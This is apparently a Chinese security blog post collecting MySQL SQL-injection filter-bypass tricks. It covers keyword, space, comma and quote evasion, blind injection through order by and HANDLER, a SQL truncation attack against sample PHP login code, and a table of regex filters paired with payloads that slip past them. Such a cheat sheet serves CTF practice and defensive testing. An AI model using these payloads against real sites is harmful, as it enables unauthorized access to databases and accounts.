sql注入绕过

今天总结一下sql注入过程中目前阶段碰到的主要过滤问题。

0x00 基本问题

sql注入过程中,为了防止注入,代码中一般会进行输入字符的过滤或拦截。其中过滤指的是输入的内容被删除or替换成了别的字符,拦截指的是检测到指定内容存在后,直接返回错误,不再进行后续的操作。

0x01 and/or

1.尝试双写or大小写绕过

2.运算符代替:&&,||

3.^运算符,例如:?id=1^(1=0) (1^0=1,故返回id=1的数据)

4.拼接=运算符,例如:?id=1=(1=1) (1=1为真,故返回id=true即id=1的数据(true=1))

0x02 空格

1.注释/**/代替

2.and/or后面可以加偶数个!或~可以替代空格,也可以混合使用

3.%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符绕过

4.巧用括号

0x03 括号

使用order by进行盲注,例如:

1
2

select * from users where id=1 union select 1,2,{'1'} order by 3 limit 1;

通过修改大括号中的值,即可进行指定字符串与目标未知字符串的比较,如果大于则位置字符串排在前,如果小于则指定字符串排在前。通过limit来控制显示问题。由此可通过编写脚本进行注入。

0x04 逗号

1.盲注

2.使用join语句。例如:

1
2

union select * from (select 1)a join (select 2)b join (select 3)

对于某些字符串处理函数,例如substr,可以通过substr(str from pos for len)的方法以避免使用括号,limit 0,1 可以通过limit 1 offset 1代替。

0x05 引号

1.考虑宽字节注入(存在编码问题时)

2.引号逃逸(当存在两个或以上数据输入时,通过\可以转义一个单引号,随后在下一个输入框or字段中写入注入代码,最后添加注释符,这时可巧妙的避开引号闭合问题)

0x06 注释

1.巧妙闭合单引号,例如:

1
2
3

select * from users where id='$id';
注入代码:?id=1' union select 1,2,'3

0x07 数字

代替字符 数 代替字符 数 代替字符 数
false、!pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true、!(!pi()) 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi());~~pi() 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

0x08 等于号,大于号,小于号

等于号可以通过like绕过,大于号小于号主要使用greatest函数,strcmp函数,between and操作符代替。

0x09 常见函数/符号总结

注释符
单行注释 单行注释 单行注释 多行(内联)注释
# -- x //x为任意字符 ;%00 /*任意内容*/
常用运算符
运算符 说明 运算符 说明
&& 与,同and。 \ \ 或,同or。
! 非,同not。 ~ 一元比特反转。
^ 异或,同xor。 + 加,可替代空格,如select+user()。
系统信息函数
函数 说明
USER() 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。
DATABASE() 获取当前选择的数据库名,同SCHEMA()。
VERSION() 获取当前版本信息。
进制转换
函数 说明
ORD(str) 返回字符串第一个字符的ASCII值。
OCT(N) 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8)。
HEX(N_S) 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。
UNHEX(str) HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。
BIN(N) 返回十进制数值 N 的二进制数值的字符串表现形式。
ASCII(str) 同ORD(string)。
CONV(N,from_base,to_base) 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。
CHAR(N,… [USING charset_name]) 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。
字符截取/拼接
函数 说明
SUBSTR(str,N_start,N_length) 对指定字符串进行截取,为SUBSTRING的简单版。
SUBSTRING() 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。
RIGHT(str,len) 对指定字符串从最右边截取指定长度。
LEFT(str,len) 对指定字符串从最左边截取指定长度。
RPAD(str,len,padstr) 在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr) 与RPAD相似,在str左边补齐。
MID(str,pos,len) 同于 SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr) 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(…) 返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…) 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。
常见全局变量
变量 说明 变量 说明
@@VERSION 返回版本信息 @@HOSTNAME 返回安装的计算机名称
@@GLOBAL.VERSION 同@@VERSION @@BASEDIR 返回MYSQL绝对路径

PS:查看全部全局变量SHOW GLOBAL VARIABLES;。

其他常用函数/语句
函数/语句 说明
LENGTH(str) 返回字符串的长度。
PI() 返回π的具体数值。
REGEXP “statement” 正则匹配数据,返回值为布尔值。
LIKE “statement” 匹配数据,%代表任意内容。返回值为布尔值。
RLIKE “statement” 与regexp相同。
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置。
POSITION(substr IN str) 等同于 LOCATE()。
LOWER(str) 将字符串的大写字母全部转成小写。同:LCASE(str)。
UPPER(str) 将字符串的小写字母全部转成大写。同:UCASE(str)。
ELT(N,str1,str2,str3,…) 与MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str) 返回字符串使用的字符集。
DECODE(crypt_str,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。

0x0a handler语句代替select[mysql]

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。[故其他数据库不可用]

语法结构:

1
2
3
4
5
6
7
8
9
10
11

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容

1
2
3
4
5
6
7

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

0x0b 无列名注入

在不知道列名的情况下,除了使用order by盲注外,还可以直接使用select进行盲注,即select无列名注入。例如:

1
2

select `1` from (select 1,2,3 union select * from users) as a;

具体可以参考V1lu0实验室招新hard_sql或CNSS 2019招新hard_sql。

0x0c 其他

UPDATE注入重复字段赋值

即:UPDATA table_name set field1=new_value,field1=new_value2 [where子句],最终field1字段的内容为new_value2,可用这个特性来进行UPDATA注入。如:

1
UPDATE table_name set field1=new_value,field1=(select user()) [where子句]
sql约束攻击

举个例子,假设我们创建了一个数据表:

1
2
3
4
5

CREATE TABLE users(
username varchar(25),
password varchar(25)
)

这时候我们进行登录注册的相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

// 注册
<?php
$conn = mysqli_connect("127.0.0.1:3306", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql1 = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql1);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注册成功');
}
?>

// 登录
<?php
$conn = mysqli_connect("127.0.0.1:3306", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>

这里没有编码问题,也进行了转移操作,由于存在长度限制,故可尝试sql约束攻击。注册名为admin 1的用户名,密码自定,随后使用admin登录,密码就是刚刚的密码,发现登录成功。(原理,注册时select的时候,超长度的字段不会截取,故检查出未注册,而insert的时候会截取前25个字符,故再进行登录的时候’admin’=’admin ‘,从而登录成功)

0x0c 常见过滤绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
过滤关键字    and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'

节选自:http://byd.dropsec.xyz/2016/08/01/SQL-Injection%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/


sql注入绕过
https://pho3n1x-web.github.io/2022/06/16/sql注入绕过/
Author
Pho3n1x
Posted on
June 16, 2022
Licensed under